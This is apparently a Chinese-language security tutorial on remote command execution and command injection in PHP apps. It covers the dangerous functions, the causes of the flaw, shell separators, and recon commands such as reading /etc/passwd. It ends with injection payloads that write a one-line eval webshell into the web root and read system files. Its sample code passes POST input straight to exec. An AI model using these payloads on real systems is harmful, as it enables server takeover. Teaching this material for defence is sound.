文章目录
- 一、RCE
- 二、命令执行/注入-概述
- 三、命令执行-常见函数
- 四、PHP命令执行-常见函数
- 1、exec:
- 2、system
- 3、passthru
- 4、shell_exec
- 5、反引号 backquote
- 五、PHP命令执行-常见函数总结
- 六、命令执行漏洞成因
- 七、命令执行漏洞利用条件
- 八、命令执行漏洞分类
- 1、代码层过滤不严
- 2、系统的漏洞造成命令注入
- 3、调用的第三方组件存在代码执行漏洞
- 九、命令执行漏洞常用的命令
- Windows
- Linux
- 十、命令执行漏洞原理
- 十一、命令执行漏洞使用的特殊字符
- 1、&
- 2、&&
- 3、|
- 4、||
- 十二、命令执行漏洞getshell
- 1、直接获取webshell
- 2、显示当前路径
- 3、读文件
- 4、写文件
一、RCE
------ 远程命令执行或者代码执行
,因为RCE这个词的滥用,RCE的范围比较广,只要渗透的最终情况可以实现执行命令或者是代码都属于RCE,例如代码执行、文件包含、反序列化、命令执行,甚至是写文件Getshell都可以属于RCE。
------ RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
二、命令执行/注入-概述
------ 应用有时需要调用一些执行系统命令的函数,比如php中的system、exec、shell_exec、passthru、popen等,当用户调用这些函数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。
------ 命令执行产生原因:Web应用的脚本代码在执行命令的时候过滤不严,从而注入一段攻击者能够控制的代码,在服务器上执行恶意指令。
------ 命令执行漏洞是PHP应用程序中最常见的漏洞之一。
------ 命令执行漏洞:直接调用操作系统命令。可以执行系统或应用指令(如CMD命令或bash命令)的漏洞,PHP命令执行漏洞主要基于一些函数的参数过滤不严导致。
三、命令执行-常见函数
常见的命令执行函数:
- PHP:exec、shell_exec、system、passthru、popen、proc_open等
- ASP.NET:System.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStartInfo等
- Java:java.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec等
四、PHP命令执行-常见函数
1、exec:
返回值:返回命令执行结果的最后一行内容,失败时返回 false
<?php
echo exec($_POST["q"]);
?>
<?php
print exec($_POST["q"]);
?>
如下图,只会输出最后一行
2、system
------ 该函数会把执行结果输出,并把输出结果的作为字符串返回。
------ 如果 PHP 运行在服务器模块中,system() 函数,还会尝试在每行输出完毕之后,自动刷新 web 服务器的输出缓存,如果执行失败则返回false。
<?php
highlight_file(__FILE__);
system('whoami');
?>
highlight_file() 函数以字符串形式返回 突出显示的代码,
成功返回true,否则返回false。
3、passthru
------ 执行外部程序并且显示原始输出。执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数。
<?php
highlight_file(__FILE__);
passthru('whoami');
?>
4、shell_exec
------ 通过 shell 执行命令并将完整的输出以字符串的方式返回。
<?php
highlight_file(__FILE__);
var_dump(shell_exec('ipconfig'));
?>
5、反引号 backquote
------ shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体
<?php echo `whoami`; ?>
这时候whoami会直接被当成命令来执行。
五、PHP命令执行-常见函数总结
------ 可执行命令的函数: system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open(),反引号也可以执行命令
- system()、exec()、shell_exec()、passthru()以及反引号( ` )是可以直接传入命令并且函数会返回执行结果。
如 <?php system('ipconfig'); ?> <?php echo `whoami`; ?>
- popen()、proc_open()函数不会直接返回执行结果,而是返回一个文件指针(通过文件指针就可对它所指的文件进行各种操作),命令是已经执行了
<?php popen('whoami >>D:/2.txt','r'); ?>
六、命令执行漏洞成因
------ 一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口,比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。
------ 而如果设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。
七、命令执行漏洞利用条件
- 应用调用执行系统命令的函数
- 将用户输入作为系统命令的参数拼接到了命令行中
- 没有对用户输入进行过滤或过滤不严
八、命令执行漏洞分类
1、代码层过滤不严
商业应用的一些核心代码封装在二进制文件中,在web应用中通过system函数来调用。
2、系统的漏洞造成命令注入
bash破壳漏洞(CVE-2014-6271)
3、调用的第三方组件存在代码执行漏洞
如WordPress中用来处理图片的ImageMagick组件
JAVA中的命令执行漏洞(struts2等)
ThinkPHP命令执行;
九、命令执行漏洞常用的命令
Windows
dir----查看文件目录
ipconfig----查看Windows的IP地址
arp -a----查看ARP缓存表
calc----在命令行打开计算器
regedit----打开注册表
netstat -ano----查看开放的端口信息
Linux
cat /etc/passwd----查看passwd文件
id----查看该用户的ID号
groups----查看用户所属的组
cat /etc/group----查看组信息
whoami----查看当前用户
pwd----查看当前路径
uname -a----查看主机信息
cat /etc/issue----查看主机的配置信息
netstat -pantu----查看开放的端口信息
netstat -nr----查看路由信息
十、命令执行漏洞原理
------ 在操作系统中,"&、|、||"都可以作为命令连接符使用,用户通过浏览器提交 执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。
------ 远程命令执行漏洞,指用户通过浏览器提交执行操作命令,由于服务器端,没有针对执行函数做过滤,就执行了恶意命令。
十一、命令执行漏洞使用的特殊字符
1、&
1&2用来分隔一个命令行中的多个命令。先运行第一个命令1,然后运行第二个命令2。
2、&&
1&&2,先运行第一个命令1,只有在符号&&前面的命令1运行成功时才运行该符号后面的命令2。
3、|
1|2,命令行的管道符号,将命令1的输出立即作为命令2的输入,它把输入和输出重定向结合在一起。(直接执行了后面的语句)
4、||
1||2,先运行第一个命令,只有在符号||前面的命令1未能运行成功时,才运行符号||后面的命令2。
十二、命令执行漏洞getshell
------ 攻击者直接继承web用户权限,可以在服务器上执行任意命令,危害特别大。
以下是几种常见的命令执行利用方式:
1、直接获取webshell
例如可以写入一句话木马:
?cmd=echo “<?php @eval($_REQUEST[123]); ?>” > D:\phpstudy\PHPTutorial\WWW\webshell.php
2、显示当前路径
例如可以提交参数 ?cmd=cd 来查看当前路径。
3、读文件
例如:?cmd=type c:\windows\system32\drivers\etc\hosts,来查看系统hosts文件。
4、写文件
例如可以提交参数 ?cmd=echo “<?php phpinfo(); ?>” > D:\shell.php